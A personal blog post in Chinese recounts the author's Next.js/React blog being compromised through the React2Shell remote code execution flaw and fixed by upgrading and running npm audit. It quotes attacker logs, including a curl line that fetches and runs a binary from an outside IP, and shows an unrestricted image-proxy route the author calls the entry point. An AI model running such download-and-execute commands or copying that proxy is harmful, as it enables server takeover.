我最初接触到这次安全问题是在 12 月 5 日凌晨。
据说在 React 中可以在未认证的情况下进行远程代码执行。
看到这条新闻后,我虽然告诉了别人,但总觉得自己应该没事,就什么想法也没有地略过了。

1. 发现被入侵的痕迹
结果当我想登录更新博客代码时,在终端里发现了有命令被执行过的痕迹。
/bin/sh: powershell: command not found
⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found
] {
status: 127,
signal: null,
output: [Array],
pid: 66631,
stdout: <Buffer >,
stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 63 6f 6d 6d 61 6e 64 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
digest: '3337667987'
}
/bin/sh: powershell: command not found
⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found调试这段代码后发现,它试图通过 curl 命令下载恶意文件并执行。
找出了 api 的漏洞,然后把对应的 api 全部关掉了。
curl -s http://154.17.26.41:15932/gund -o /tmp/gund && chmod +x /tmp/gund && /tmp/gund漏洞出在内部代理服务器上,是一种同时插入图片和脚本来执行命令的方式。
这个代理 api 已经关掉了,也从中体会到 api 绝对不能随便暴露在外部。
// app/api/link-preview/image-proxy/route.ts
...
export async function GET(req: Request) {
try {
const { searchParams } = new URL(req.url)
const target = searchParams.get('url')
if (!target) return NextResponse.json({ error: 'url required' }, { status: 400 })
const u = new URL(target)
if (!ALLOWED_PROTOCOLS.has(u.protocol)) {
return NextResponse.json({ error: 'invalid protocol' }, { status: 400 })
const res = await fetch(u, {
headers: { 'User-Agent': UA },
redirect: 'follow',
cache: 'no-store',
})
if (!res.ok || !res.body) {
return NextResponse.json({ error: `Upstream ${res.status}` }, { status: 502 })
}
...2. React2Shell 攻击
之后,即使我不断修补漏洞,攻击还是持续不断地打过来。
有一次,终端里出现了这样的日志。
[MemShell] Loaded successfully (ESM compatible + stealth UA)因为是第一次看到这种日志,就去问了 AI,对方说这是黑客在攻击中经常使用的一种内存 WebShell。
我试过重启 nodejs、删除全部 npm 包再重新安装、还重启了服务器。
但攻击依然络绎不绝,在苦思对策的当口,我突然想到自己一直没升级 next 和 react。
于是用 npm 检查并修补了漏洞。
npm audit
npm audit fix之后再运行服务器,终端里就再也没有出现过奇怪的日志。
3. 心得
我也不明白,一个我自己运营、一天连 50 个访问量都不到的博客,有什么好看的,居然被不停地盯上。
当然,很可能是扫描机器人在自动探测漏洞然后持续发起攻击,但还是让人非常烦躁。
而且我也意识到,一旦发现漏洞,立刻响应和处理是多么重要。
把 next 从 15 升到 16 的过程中,确实有不少地方需要修改,挺麻烦的,但相比之下,安全要重要得多。
以后得经常去 GeekNews 逛逛了。
댓글을 불러오는 중...